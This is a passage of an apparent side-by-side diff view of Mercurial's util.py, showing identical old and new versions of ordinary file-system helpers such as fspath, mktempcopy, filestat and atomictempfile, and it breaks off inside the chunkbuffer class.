1342 | pass | |
1343 | return remod.compile(pat, flags) |
|
1343 | return remod.compile(pat, flags) | |
1344 |
|
1344 | |||
1345 | @propertycache |
|
1345 | @propertycache | |
1346 | def escape(self): |
|
1346 | def escape(self): | |
1347 | '''Return the version of escape corresponding to self.compile. |
|
1347 | '''Return the version of escape corresponding to self.compile. | |
1348 |
|
1348 | |||
1349 | This is imperfect because whether re2 or re is used for a particular |
|
1349 | This is imperfect because whether re2 or re is used for a particular | |
1350 | function depends on the flags, etc, but it's the best we can do. |
|
1350 | function depends on the flags, etc, but it's the best we can do. | |
1351 | ''' |
|
1351 | ''' | |
1352 | global _re2 |
|
1352 | global _re2 | |
1353 | if _re2 is None: |
|
1353 | if _re2 is None: | |
1354 | self._checkre2() |
|
1354 | self._checkre2() | |
1355 | if _re2: |
|
1355 | if _re2: | |
1356 | return re2.escape |
|
1356 | return re2.escape | |
1357 | else: |
|
1357 | else: | |
1358 | return remod.escape |
|
1358 | return remod.escape | |
1359 |
|
1359 | |||
1360 | re = _re() |
|
1360 | re = _re() | |
1361 |
|
1361 | |||
1362 | _fspathcache = {} |
|
1362 | _fspathcache = {} | |
1363 | def fspath(name, root): |
|
1363 | def fspath(name, root): | |
1364 | '''Get name in the case stored in the filesystem |
|
1364 | '''Get name in the case stored in the filesystem | |
1365 |
|
1365 | |||
1366 | The name should be relative to root, and be normcase-ed for efficiency. |
|
1366 | The name should be relative to root, and be normcase-ed for efficiency. | |
1367 |
|
1367 | |||
1368 | Note that this function is unnecessary, and should not be |
|
1368 | Note that this function is unnecessary, and should not be | |
1369 | called, for case-sensitive filesystems (simply because it's expensive). |
|
1369 | called, for case-sensitive filesystems (simply because it's expensive). | |
1370 |
|
1370 | |||
1371 | The root should be normcase-ed, too. |
|
1371 | The root should be normcase-ed, too. | |
1372 | ''' |
|
1372 | ''' | |
1373 | def _makefspathcacheentry(dir): |
|
1373 | def _makefspathcacheentry(dir): | |
1374 | return dict((normcase(n), n) for n in os.listdir(dir)) |
|
1374 | return dict((normcase(n), n) for n in os.listdir(dir)) | |
1375 |
|
1375 | |||
1376 | seps = pycompat.ossep |
|
1376 | seps = pycompat.ossep | |
1377 | if pycompat.osaltsep: |
|
1377 | if pycompat.osaltsep: | |
1378 | seps = seps + pycompat.osaltsep |
|
1378 | seps = seps + pycompat.osaltsep | |
1379 | # Protect backslashes. This gets silly very quickly. |
|
1379 | # Protect backslashes. This gets silly very quickly. | |
1380 | seps.replace('\\','\\\\') |
|
1380 | seps.replace('\\','\\\\') | |
1381 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
|
1381 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) | |
1382 | dir = os.path.normpath(root) |
|
1382 | dir = os.path.normpath(root) | |
1383 | result = [] |
|
1383 | result = [] | |
1384 | for part, sep in pattern.findall(name): |
|
1384 | for part, sep in pattern.findall(name): | |
1385 | if sep: |
|
1385 | if sep: | |
1386 | result.append(sep) |
|
1386 | result.append(sep) | |
1387 | continue |
|
1387 | continue | |
1388 |
|
1388 | |||
1389 | if dir not in _fspathcache: |
|
1389 | if dir not in _fspathcache: | |
1390 | _fspathcache[dir] = _makefspathcacheentry(dir) |
|
1390 | _fspathcache[dir] = _makefspathcacheentry(dir) | |
1391 | contents = _fspathcache[dir] |
|
1391 | contents = _fspathcache[dir] | |
1392 |
|
1392 | |||
1393 | found = contents.get(part) |
|
1393 | found = contents.get(part) | |
1394 | if not found: |
|
1394 | if not found: | |
1395 | # retry "once per directory" per "dirstate.walk" which |
|
1395 | # retry "once per directory" per "dirstate.walk" which | |
1396 | # may take place for each patches of "hg qpush", for example |
|
1396 | # may take place for each patches of "hg qpush", for example | |
1397 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
|
1397 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) | |
1398 | found = contents.get(part) |
|
1398 | found = contents.get(part) | |
1399 |
|
1399 | |||
1400 | result.append(found or part) |
|
1400 | result.append(found or part) | |
1401 | dir = os.path.join(dir, part) |
|
1401 | dir = os.path.join(dir, part) | |
1402 |
|
1402 | |||
1403 | return ''.join(result) |
|
1403 | return ''.join(result) | |
1404 |
|
1404 | |||
1405 | def getfstype(dirpath): |
|
1405 | def getfstype(dirpath): | |
1406 | '''Get the filesystem type name from a directory (best-effort) |
|
1406 | '''Get the filesystem type name from a directory (best-effort) | |
1407 |
|
1407 | |||
1408 | Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc. |
|
1408 | Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc. | |
1409 | ''' |
|
1409 | ''' | |
1410 | return getattr(osutil, 'getfstype', lambda x: None)(dirpath) |
|
1410 | return getattr(osutil, 'getfstype', lambda x: None)(dirpath) | |
1411 |
|
1411 | |||
1412 | def checknlink(testfile): |
|
1412 | def checknlink(testfile): | |
1413 | '''check whether hardlink count reporting works properly''' |
|
1413 | '''check whether hardlink count reporting works properly''' | |
1414 |
|
1414 | |||
1415 | # testfile may be open, so we need a separate file for checking to |
|
1415 | # testfile may be open, so we need a separate file for checking to | |
1416 | # work around issue2543 (or testfile may get lost on Samba shares) |
|
1416 | # work around issue2543 (or testfile may get lost on Samba shares) | |
1417 | f1 = testfile + ".hgtmp1" |
|
1417 | f1 = testfile + ".hgtmp1" | |
1418 | if os.path.lexists(f1): |
|
1418 | if os.path.lexists(f1): | |
1419 | return False |
|
1419 | return False | |
1420 | try: |
|
1420 | try: | |
1421 | posixfile(f1, 'w').close() |
|
1421 | posixfile(f1, 'w').close() | |
1422 | except IOError: |
|
1422 | except IOError: | |
1423 | try: |
|
1423 | try: | |
1424 | os.unlink(f1) |
|
1424 | os.unlink(f1) | |
1425 | except OSError: |
|
1425 | except OSError: | |
1426 | pass |
|
1426 | pass | |
1427 | return False |
|
1427 | return False | |
1428 |
|
1428 | |||
1429 | f2 = testfile + ".hgtmp2" |
|
1429 | f2 = testfile + ".hgtmp2" | |
1430 | fd = None |
|
1430 | fd = None | |
1431 | try: |
|
1431 | try: | |
1432 | oslink(f1, f2) |
|
1432 | oslink(f1, f2) | |
1433 | # nlinks() may behave differently for files on Windows shares if |
|
1433 | # nlinks() may behave differently for files on Windows shares if | |
1434 | # the file is open. |
|
1434 | # the file is open. | |
1435 | fd = posixfile(f2) |
|
1435 | fd = posixfile(f2) | |
1436 | return nlinks(f2) > 1 |
|
1436 | return nlinks(f2) > 1 | |
1437 | except OSError: |
|
1437 | except OSError: | |
1438 | return False |
|
1438 | return False | |
1439 | finally: |
|
1439 | finally: | |
1440 | if fd is not None: |
|
1440 | if fd is not None: | |
1441 | fd.close() |
|
1441 | fd.close() | |
1442 | for f in (f1, f2): |
|
1442 | for f in (f1, f2): | |
1443 | try: |
|
1443 | try: | |
1444 | os.unlink(f) |
|
1444 | os.unlink(f) | |
1445 | except OSError: |
|
1445 | except OSError: | |
1446 | pass |
|
1446 | pass | |
1447 |
|
1447 | |||
1448 | def endswithsep(path): |
|
1448 | def endswithsep(path): | |
1449 | '''Check path ends with os.sep or os.altsep.''' |
|
1449 | '''Check path ends with os.sep or os.altsep.''' | |
1450 | return (path.endswith(pycompat.ossep) |
|
1450 | return (path.endswith(pycompat.ossep) | |
1451 | or pycompat.osaltsep and path.endswith(pycompat.osaltsep)) |
|
1451 | or pycompat.osaltsep and path.endswith(pycompat.osaltsep)) | |
1452 |
|
1452 | |||
1453 | def splitpath(path): |
|
1453 | def splitpath(path): | |
1454 | '''Split path by os.sep. |
|
1454 | '''Split path by os.sep. | |
1455 | Note that this function does not use os.altsep because this is |
|
1455 | Note that this function does not use os.altsep because this is | |
1456 | an alternative of simple "xxx.split(os.sep)". |
|
1456 | an alternative of simple "xxx.split(os.sep)". | |
1457 | It is recommended to use os.path.normpath() before using this |
|
1457 | It is recommended to use os.path.normpath() before using this | |
1458 | function if need.''' |
|
1458 | function if need.''' | |
1459 | return path.split(pycompat.ossep) |
|
1459 | return path.split(pycompat.ossep) | |
1460 |
|
1460 | |||
1461 | def gui(): |
|
1461 | def gui(): | |
1462 | '''Are we running in a GUI?''' |
|
1462 | '''Are we running in a GUI?''' | |
1463 | if pycompat.sysplatform == 'darwin': |
|
1463 | if pycompat.sysplatform == 'darwin': | |
1464 | if 'SSH_CONNECTION' in encoding.environ: |
|
1464 | if 'SSH_CONNECTION' in encoding.environ: | |
1465 | # handle SSH access to a box where the user is logged in |
|
1465 | # handle SSH access to a box where the user is logged in | |
1466 | return False |
|
1466 | return False | |
1467 | elif getattr(osutil, 'isgui', None): |
|
1467 | elif getattr(osutil, 'isgui', None): | |
1468 | # check if a CoreGraphics session is available |
|
1468 | # check if a CoreGraphics session is available | |
1469 | return osutil.isgui() |
|
1469 | return osutil.isgui() | |
1470 | else: |
|
1470 | else: | |
1471 | # pure build; use a safe default |
|
1471 | # pure build; use a safe default | |
1472 | return True |
|
1472 | return True | |
1473 | else: |
|
1473 | else: | |
1474 | return pycompat.osname == "nt" or encoding.environ.get("DISPLAY") |
|
1474 | return pycompat.osname == "nt" or encoding.environ.get("DISPLAY") | |
1475 |
|
1475 | |||
1476 | def mktempcopy(name, emptyok=False, createmode=None): |
|
1476 | def mktempcopy(name, emptyok=False, createmode=None): | |
1477 | """Create a temporary file with the same contents from name |
|
1477 | """Create a temporary file with the same contents from name | |
1478 |
|
1478 | |||
1479 | The permission bits are copied from the original file. |
|
1479 | The permission bits are copied from the original file. | |
1480 |
|
1480 | |||
1481 | If the temporary file is going to be truncated immediately, you |
|
1481 | If the temporary file is going to be truncated immediately, you | |
1482 | can use emptyok=True as an optimization. |
|
1482 | can use emptyok=True as an optimization. | |
1483 |
|
1483 | |||
1484 | Returns the name of the temporary file. |
|
1484 | Returns the name of the temporary file. | |
1485 | """ |
|
1485 | """ | |
1486 | d, fn = os.path.split(name) |
|
1486 | d, fn = os.path.split(name) | |
1487 | fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d) |
|
1487 | fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d) | |
1488 | os.close(fd) |
|
1488 | os.close(fd) | |
1489 | # Temporary files are created with mode 0600, which is usually not |
|
1489 | # Temporary files are created with mode 0600, which is usually not | |
1490 | # what we want. If the original file already exists, just copy |
|
1490 | # what we want. If the original file already exists, just copy | |
1491 | # its mode. Otherwise, manually obey umask. |
|
1491 | # its mode. Otherwise, manually obey umask. | |
1492 | copymode(name, temp, createmode) |
|
1492 | copymode(name, temp, createmode) | |
1493 | if emptyok: |
|
1493 | if emptyok: | |
1494 | return temp |
|
1494 | return temp | |
1495 | try: |
|
1495 | try: | |
1496 | try: |
|
1496 | try: | |
1497 | ifp = posixfile(name, "rb") |
|
1497 | ifp = posixfile(name, "rb") | |
1498 | except IOError as inst: |
|
1498 | except IOError as inst: | |
1499 | if inst.errno == errno.ENOENT: |
|
1499 | if inst.errno == errno.ENOENT: | |
1500 | return temp |
|
1500 | return temp | |
1501 | if not getattr(inst, 'filename', None): |
|
1501 | if not getattr(inst, 'filename', None): | |
1502 | inst.filename = name |
|
1502 | inst.filename = name | |
1503 | raise |
|
1503 | raise | |
1504 | ofp = posixfile(temp, "wb") |
|
1504 | ofp = posixfile(temp, "wb") | |
1505 | for chunk in filechunkiter(ifp): |
|
1505 | for chunk in filechunkiter(ifp): | |
1506 | ofp.write(chunk) |
|
1506 | ofp.write(chunk) | |
1507 | ifp.close() |
|
1507 | ifp.close() | |
1508 | ofp.close() |
|
1508 | ofp.close() | |
1509 | except: # re-raises |
|
1509 | except: # re-raises | |
1510 | try: os.unlink(temp) |
|
1510 | try: os.unlink(temp) | |
1511 | except OSError: pass |
|
1511 | except OSError: pass | |
1512 | raise |
|
1512 | raise | |
1513 | return temp |
|
1513 | return temp | |
1514 |
|
1514 | |||
1515 | class filestat(object): |
|
1515 | class filestat(object): | |
1516 | """help to exactly detect change of a file |
|
1516 | """help to exactly detect change of a file | |
1517 |
|
1517 | |||
1518 | 'stat' attribute is result of 'os.stat()' if specified 'path' |
|
1518 | 'stat' attribute is result of 'os.stat()' if specified 'path' | |
1519 | exists. Otherwise, it is None. This can avoid preparative |
|
1519 | exists. Otherwise, it is None. This can avoid preparative | |
1520 | 'exists()' examination on client side of this class. |
|
1520 | 'exists()' examination on client side of this class. | |
1521 | """ |
|
1521 | """ | |
1522 | def __init__(self, stat): |
|
1522 | def __init__(self, stat): | |
1523 | self.stat = stat |
|
1523 | self.stat = stat | |
1524 |
|
1524 | |||
1525 | @classmethod |
|
1525 | @classmethod | |
1526 | def frompath(cls, path): |
|
1526 | def frompath(cls, path): | |
1527 | try: |
|
1527 | try: | |
1528 | stat = os.stat(path) |
|
1528 | stat = os.stat(path) | |
1529 | except OSError as err: |
|
1529 | except OSError as err: | |
1530 | if err.errno != errno.ENOENT: |
|
1530 | if err.errno != errno.ENOENT: | |
1531 | raise |
|
1531 | raise | |
1532 | stat = None |
|
1532 | stat = None | |
1533 | return cls(stat) |
|
1533 | return cls(stat) | |
1534 |
|
1534 | |||
1535 | @classmethod |
|
1535 | @classmethod | |
1536 | def fromfp(cls, fp): |
|
1536 | def fromfp(cls, fp): | |
1537 | stat = os.fstat(fp.fileno()) |
|
1537 | stat = os.fstat(fp.fileno()) | |
1538 | return cls(stat) |
|
1538 | return cls(stat) | |
1539 |
|
1539 | |||
1540 | __hash__ = object.__hash__ |
|
1540 | __hash__ = object.__hash__ | |
1541 |
|
1541 | |||
1542 | def __eq__(self, old): |
|
1542 | def __eq__(self, old): | |
1543 | try: |
|
1543 | try: | |
1544 | # if ambiguity between stat of new and old file is |
|
1544 | # if ambiguity between stat of new and old file is | |
1545 | # avoided, comparison of size, ctime and mtime is enough |
|
1545 | # avoided, comparison of size, ctime and mtime is enough | |
1546 | # to exactly detect change of a file regardless of platform |
|
1546 | # to exactly detect change of a file regardless of platform | |
1547 | return (self.stat.st_size == old.stat.st_size and |
|
1547 | return (self.stat.st_size == old.stat.st_size and | |
1548 | self.stat.st_ctime == old.stat.st_ctime and |
|
1548 | self.stat.st_ctime == old.stat.st_ctime and | |
1549 | self.stat.st_mtime == old.stat.st_mtime) |
|
1549 | self.stat.st_mtime == old.stat.st_mtime) | |
1550 | except AttributeError: |
|
1550 | except AttributeError: | |
1551 | pass |
|
1551 | pass | |
1552 | try: |
|
1552 | try: | |
1553 | return self.stat is None and old.stat is None |
|
1553 | return self.stat is None and old.stat is None | |
1554 | except AttributeError: |
|
1554 | except AttributeError: | |
1555 | return False |
|
1555 | return False | |
1556 |
|
1556 | |||
1557 | def isambig(self, old): |
|
1557 | def isambig(self, old): | |
1558 | """Examine whether new (= self) stat is ambiguous against old one |
|
1558 | """Examine whether new (= self) stat is ambiguous against old one | |
1559 |
|
1559 | |||
1560 | "S[N]" below means stat of a file at N-th change: |
|
1560 | "S[N]" below means stat of a file at N-th change: | |
1561 |
|
1561 | |||
1562 | - S[n-1].ctime < S[n].ctime: can detect change of a file |
|
1562 | - S[n-1].ctime < S[n].ctime: can detect change of a file | |
1563 | - S[n-1].ctime == S[n].ctime |
|
1563 | - S[n-1].ctime == S[n].ctime | |
1564 | - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
|
1564 | - S[n-1].ctime < S[n].mtime: means natural advancing (*1) | |
1565 | - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
|
1565 | - S[n-1].ctime == S[n].mtime: is ambiguous (*2) | |
1566 | - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
|
1566 | - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) | |
1567 | - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
|
1567 | - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) | |
1568 |
|
1568 | |||
1569 | Case (*2) above means that a file was changed twice or more at |
|
1569 | Case (*2) above means that a file was changed twice or more at | |
1570 | same time in sec (= S[n-1].ctime), and comparison of timestamp |
|
1570 | same time in sec (= S[n-1].ctime), and comparison of timestamp | |
1571 | is ambiguous. |
|
1571 | is ambiguous. | |
1572 |
|
1572 | |||
1573 | Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
|
1573 | Base idea to avoid such ambiguity is "advance mtime 1 sec, if | |
1574 | timestamp is ambiguous". |
|
1574 | timestamp is ambiguous". | |
1575 |
|
1575 | |||
1576 | But advancing mtime only in case (*2) doesn't work as |
|
1576 | But advancing mtime only in case (*2) doesn't work as | |
1577 | expected, because naturally advanced S[n].mtime in case (*1) |
|
1577 | expected, because naturally advanced S[n].mtime in case (*1) | |
1578 | might be equal to manually advanced S[n-1 or earlier].mtime. |
|
1578 | might be equal to manually advanced S[n-1 or earlier].mtime. | |
1579 |
|
1579 | |||
1580 | Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
|
1580 | Therefore, all "S[n-1].ctime == S[n].ctime" cases should be | |
1581 | treated as ambiguous regardless of mtime, to avoid overlooking |
|
1581 | treated as ambiguous regardless of mtime, to avoid overlooking | |
1582 | by confliction between such mtime. |
|
1582 | by confliction between such mtime. | |
1583 |
|
1583 | |||
1584 | Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
|
1584 | Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != | |
1585 | S[n].mtime", even if size of a file isn't changed. |
|
1585 | S[n].mtime", even if size of a file isn't changed. | |
1586 | """ |
|
1586 | """ | |
1587 | try: |
|
1587 | try: | |
1588 | return (self.stat.st_ctime == old.stat.st_ctime) |
|
1588 | return (self.stat.st_ctime == old.stat.st_ctime) | |
1589 | except AttributeError: |
|
1589 | except AttributeError: | |
1590 | return False |
|
1590 | return False | |
1591 |
|
1591 | |||
1592 | def avoidambig(self, path, old): |
|
1592 | def avoidambig(self, path, old): | |
1593 | """Change file stat of specified path to avoid ambiguity |
|
1593 | """Change file stat of specified path to avoid ambiguity | |
1594 |
|
1594 | |||
1595 | 'old' should be previous filestat of 'path'. |
|
1595 | 'old' should be previous filestat of 'path'. | |
1596 |
|
1596 | |||
1597 | This skips avoiding ambiguity, if a process doesn't have |
|
1597 | This skips avoiding ambiguity, if a process doesn't have | |
1598 | appropriate privileges for 'path'. This returns False in this |
|
1598 | appropriate privileges for 'path'. This returns False in this | |
1599 | case. |
|
1599 | case. | |
1600 |
|
1600 | |||
1601 | Otherwise, this returns True, as "ambiguity is avoided". |
|
1601 | Otherwise, this returns True, as "ambiguity is avoided". | |
1602 | """ |
|
1602 | """ | |
1603 | advanced = (old.stat.st_mtime + 1) & 0x7fffffff |
|
1603 | advanced = (old.stat.st_mtime + 1) & 0x7fffffff | |
1604 | try: |
|
1604 | try: | |
1605 | os.utime(path, (advanced, advanced)) |
|
1605 | os.utime(path, (advanced, advanced)) | |
1606 | except OSError as inst: |
|
1606 | except OSError as inst: | |
1607 | if inst.errno == errno.EPERM: |
|
1607 | if inst.errno == errno.EPERM: | |
1608 | # utime() on the file created by another user causes EPERM, |
|
1608 | # utime() on the file created by another user causes EPERM, | |
1609 | # if a process doesn't have appropriate privileges |
|
1609 | # if a process doesn't have appropriate privileges | |
1610 | return False |
|
1610 | return False | |
1611 | raise |
|
1611 | raise | |
1612 | return True |
|
1612 | return True | |
1613 |
|
1613 | |||
1614 | def __ne__(self, other): |
|
1614 | def __ne__(self, other): | |
1615 | return not self == other |
|
1615 | return not self == other | |
1616 |
|
1616 | |||
1617 | class atomictempfile(object): |
|
1617 | class atomictempfile(object): | |
1618 | '''writable file object that atomically updates a file |
|
1618 | '''writable file object that atomically updates a file | |
1619 |
|
1619 | |||
1620 | All writes will go to a temporary copy of the original file. Call |
|
1620 | All writes will go to a temporary copy of the original file. Call | |
1621 | close() when you are done writing, and atomictempfile will rename |
|
1621 | close() when you are done writing, and atomictempfile will rename | |
1622 | the temporary copy to the original name, making the changes |
|
1622 | the temporary copy to the original name, making the changes | |
1623 | visible. If the object is destroyed without being closed, all your |
|
1623 | visible. If the object is destroyed without being closed, all your | |
1624 | writes are discarded. |
|
1624 | writes are discarded. | |
1625 |
|
1625 | |||
1626 | checkambig argument of constructor is used with filestat, and is |
|
1626 | checkambig argument of constructor is used with filestat, and is | |
1627 | useful only if target file is guarded by any lock (e.g. repo.lock |
|
1627 | useful only if target file is guarded by any lock (e.g. repo.lock | |
1628 | or repo.wlock). |
|
1628 | or repo.wlock). | |
1629 | ''' |
|
1629 | ''' | |
1630 | def __init__(self, name, mode='w+b', createmode=None, checkambig=False): |
|
1630 | def __init__(self, name, mode='w+b', createmode=None, checkambig=False): | |
1631 | self.__name = name # permanent name |
|
1631 | self.__name = name # permanent name | |
1632 | self._tempname = mktempcopy(name, emptyok=('w' in mode), |
|
1632 | self._tempname = mktempcopy(name, emptyok=('w' in mode), | |
1633 | createmode=createmode) |
|
1633 | createmode=createmode) | |
1634 | self._fp = posixfile(self._tempname, mode) |
|
1634 | self._fp = posixfile(self._tempname, mode) | |
1635 | self._checkambig = checkambig |
|
1635 | self._checkambig = checkambig | |
1636 |
|
1636 | |||
1637 | # delegated methods |
|
1637 | # delegated methods | |
1638 | self.read = self._fp.read |
|
1638 | self.read = self._fp.read | |
1639 | self.write = self._fp.write |
|
1639 | self.write = self._fp.write | |
1640 | self.seek = self._fp.seek |
|
1640 | self.seek = self._fp.seek | |
1641 | self.tell = self._fp.tell |
|
1641 | self.tell = self._fp.tell | |
1642 | self.fileno = self._fp.fileno |
|
1642 | self.fileno = self._fp.fileno | |
1643 |
|
1643 | |||
1644 | def close(self): |
|
1644 | def close(self): | |
1645 | if not self._fp.closed: |
|
1645 | if not self._fp.closed: | |
1646 | self._fp.close() |
|
1646 | self._fp.close() | |
1647 | filename = localpath(self.__name) |
|
1647 | filename = localpath(self.__name) | |
1648 | oldstat = self._checkambig and filestat.frompath(filename) |
|
1648 | oldstat = self._checkambig and filestat.frompath(filename) | |
1649 | if oldstat and oldstat.stat: |
|
1649 | if oldstat and oldstat.stat: | |
1650 | rename(self._tempname, filename) |
|
1650 | rename(self._tempname, filename) | |
1651 | newstat = filestat.frompath(filename) |
|
1651 | newstat = filestat.frompath(filename) | |
1652 | if newstat.isambig(oldstat): |
|
1652 | if newstat.isambig(oldstat): | |
1653 | # stat of changed file is ambiguous to original one |
|
1653 | # stat of changed file is ambiguous to original one | |
1654 | advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff |
|
1654 | advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff | |
1655 | os.utime(filename, (advanced, advanced)) |
|
1655 | os.utime(filename, (advanced, advanced)) | |
1656 | else: |
|
1656 | else: | |
1657 | rename(self._tempname, filename) |
|
1657 | rename(self._tempname, filename) | |
1658 |
|
1658 | |||
1659 | def discard(self): |
|
1659 | def discard(self): | |
1660 | if not self._fp.closed: |
|
1660 | if not self._fp.closed: | |
1661 | try: |
|
1661 | try: | |
1662 | os.unlink(self._tempname) |
|
1662 | os.unlink(self._tempname) | |
1663 | except OSError: |
|
1663 | except OSError: | |
1664 | pass |
|
1664 | pass | |
1665 | self._fp.close() |
|
1665 | self._fp.close() | |
1666 |
|
1666 | |||
1667 | def __del__(self): |
|
1667 | def __del__(self): | |
1668 | if safehasattr(self, '_fp'): # constructor actually did something |
|
1668 | if safehasattr(self, '_fp'): # constructor actually did something | |
1669 | self.discard() |
|
1669 | self.discard() | |
1670 |
|
1670 | |||
1671 | def __enter__(self): |
|
1671 | def __enter__(self): | |
1672 | return self |
|
1672 | return self | |
1673 |
|
1673 | |||
1674 | def __exit__(self, exctype, excvalue, traceback): |
|
1674 | def __exit__(self, exctype, excvalue, traceback): | |
1675 | if exctype is not None: |
|
1675 | if exctype is not None: | |
1676 | self.discard() |
|
1676 | self.discard() | |
1677 | else: |
|
1677 | else: | |
1678 | self.close() |
|
1678 | self.close() | |
1679 |
|
1679 | |||
1680 | def unlinkpath(f, ignoremissing=False): |
|
1680 | def unlinkpath(f, ignoremissing=False): | |
1681 | """unlink and remove the directory if it is empty""" |
|
1681 | """unlink and remove the directory if it is empty""" | |
1682 | if ignoremissing: |
|
1682 | if ignoremissing: | |
1683 | tryunlink(f) |
|
1683 | tryunlink(f) | |
1684 | else: |
|
1684 | else: | |
1685 | unlink(f) |
|
1685 | unlink(f) | |
1686 | # try removing directories that might now be empty |
|
1686 | # try removing directories that might now be empty | |
1687 | try: |
|
1687 | try: | |
1688 | removedirs(os.path.dirname(f)) |
|
1688 | removedirs(os.path.dirname(f)) | |
1689 | except OSError: |
|
1689 | except OSError: | |
1690 | pass |
|
1690 | pass | |
1691 |
|
1691 | |||
1692 | def tryunlink(f): |
|
1692 | def tryunlink(f): | |
1693 | """Attempt to remove a file, ignoring ENOENT errors.""" |
|
1693 | """Attempt to remove a file, ignoring ENOENT errors.""" | |
1694 | try: |
|
1694 | try: | |
1695 | unlink(f) |
|
1695 | unlink(f) | |
1696 | except OSError as e: |
|
1696 | except OSError as e: | |
1697 | if e.errno != errno.ENOENT: |
|
1697 | if e.errno != errno.ENOENT: | |
1698 | raise |
|
1698 | raise | |
1699 |
|
1699 | |||
1700 | def makedirs(name, mode=None, notindexed=False): |
|
1700 | def makedirs(name, mode=None, notindexed=False): | |
1701 | """recursive directory creation with parent mode inheritance |
|
1701 | """recursive directory creation with parent mode inheritance | |
1702 |
|
1702 | |||
1703 | Newly created directories are marked as "not to be indexed by |
|
1703 | Newly created directories are marked as "not to be indexed by | |
1704 | the content indexing service", if ``notindexed`` is specified |
|
1704 | the content indexing service", if ``notindexed`` is specified | |
1705 | for "write" mode access. |
|
1705 | for "write" mode access. | |
1706 | """ |
|
1706 | """ | |
1707 | try: |
|
1707 | try: | |
1708 | makedir(name, notindexed) |
|
1708 | makedir(name, notindexed) | |
1709 | except OSError as err: |
|
1709 | except OSError as err: | |
1710 | if err.errno == errno.EEXIST: |
|
1710 | if err.errno == errno.EEXIST: | |
1711 | return |
|
1711 | return | |
1712 | if err.errno != errno.ENOENT or not name: |
|
1712 | if err.errno != errno.ENOENT or not name: | |
1713 | raise |
|
1713 | raise | |
1714 | parent = os.path.dirname(os.path.abspath(name)) |
|
1714 | parent = os.path.dirname(os.path.abspath(name)) | |
1715 | if parent == name: |
|
1715 | if parent == name: | |
1716 | raise |
|
1716 | raise | |
1717 | makedirs(parent, mode, notindexed) |
|
1717 | makedirs(parent, mode, notindexed) | |
1718 | try: |
|
1718 | try: | |
1719 | makedir(name, notindexed) |
|
1719 | makedir(name, notindexed) | |
1720 | except OSError as err: |
|
1720 | except OSError as err: | |
1721 | # Catch EEXIST to handle races |
|
1721 | # Catch EEXIST to handle races | |
1722 | if err.errno == errno.EEXIST: |
|
1722 | if err.errno == errno.EEXIST: | |
1723 | return |
|
1723 | return | |
1724 | raise |
|
1724 | raise | |
1725 | if mode is not None: |
|
1725 | if mode is not None: | |
1726 | os.chmod(name, mode) |
|
1726 | os.chmod(name, mode) | |
1727 |
|
1727 | |||
1728 | def readfile(path): |
|
1728 | def readfile(path): | |
1729 | with open(path, 'rb') as fp: |
|
1729 | with open(path, 'rb') as fp: | |
1730 | return fp.read() |
|
1730 | return fp.read() | |
1731 |
|
1731 | |||
1732 | def writefile(path, text): |
|
1732 | def writefile(path, text): | |
1733 | with open(path, 'wb') as fp: |
|
1733 | with open(path, 'wb') as fp: | |
1734 | fp.write(text) |
|
1734 | fp.write(text) | |
1735 |
|
1735 | |||
1736 | def appendfile(path, text): |
|
1736 | def appendfile(path, text): | |
1737 | with open(path, 'ab') as fp: |
|
1737 | with open(path, 'ab') as fp: | |
1738 | fp.write(text) |
|
1738 | fp.write(text) | |
1739 |
|
1739 | |||
1740 | class chunkbuffer(object): |
|
1740 | class chunkbuffer(object): | |
1741 | """Allow arbitrary sized chunks of data to be efficiently read from an |
|
1741 | """Allow arbitrary sized chunks of data to be efficiently read from an | |
1742 | iterator over chunks of arbitrary size.""" |
|
1742 | iterator over chunks of arbitrary size.""" | |
1743 |
|
1743 | |||
1744 | def __init__(self, in_iter): |
|
1744 | def __init__(self, in_iter): | |
1745 | """in_iter is the iterator that's iterating over the input chunks.""" |
|
1745 | """in_iter is the iterator that's iterating over the input chunks.""" | |
1746 | def splitbig(chunks): |
|
1746 | def splitbig(chunks): | |
1747 | for chunk in chunks: |
|
1747 | for chunk in chunks: | |
1748 | if len(chunk) > 2**20: |
|
1748 | if len(chunk) > 2**20: | |
1749 | pos = 0 |
|
1749 | pos = 0 | |
1750 | while pos < len(chunk): |
|
1750 | while pos < len(chunk): | |
1751 | end = pos + 2 ** 18 |
|
1751 | end = pos + 2 ** 18 | |
1752 | yield chunk[pos:end] |
|
1752 | yield chunk[pos:end] | |
1753 | pos = end |
|
1753 | pos = end | |
1754 | else: |
|
1754 | else: | |
1755 | yield chunk |
|
1755 | yield chunk | |
1756 | self.iter = splitbig(in_iter) |
|
1756 | self.iter = splitbig(in_iter) | |
1757 | self._queue = collections.deque() |
|
1757 | self._queue = collections.deque() | |
1758 | self._chunkoffset = 0 |
|
1758 | self._chunkoffset = 0 | |
1759 |
|
1759 | |||
1760 | def read(self, l=None): |
|
1760 | def read(self, l=None): | |
1761 | """Read L bytes of data from the iterator of chunks of data. |
|
1761 | """Read L bytes of data from the iterator of chunks of data. | |
1762 | Returns less than L bytes if the iterator runs dry. |
|
1762 | Returns less than L bytes if the iterator runs dry. | |
1763 |
|
1763 | |||
1764 | If size parameter is omitted, read everything""" |
|
1764 | If size parameter is omitted, read everything""" | |
1765 | if l is None: |
|
1765 | if l is None: | |
1766 | return ''.join(self.iter) |
|
1766 | return ''.join(self.iter) | |
1767 |
|
1767 | |||
1768 | left = l |
|
1768 | left = l | |
1769 | buf = [] |
|
1769 | buf = [] | |
1770 | queue = self._queue |
|
1770 | queue = self._queue | |
1771 | while left > 0: |
|
1771 | while left > 0: | |
1772 | # refill the queue |
|
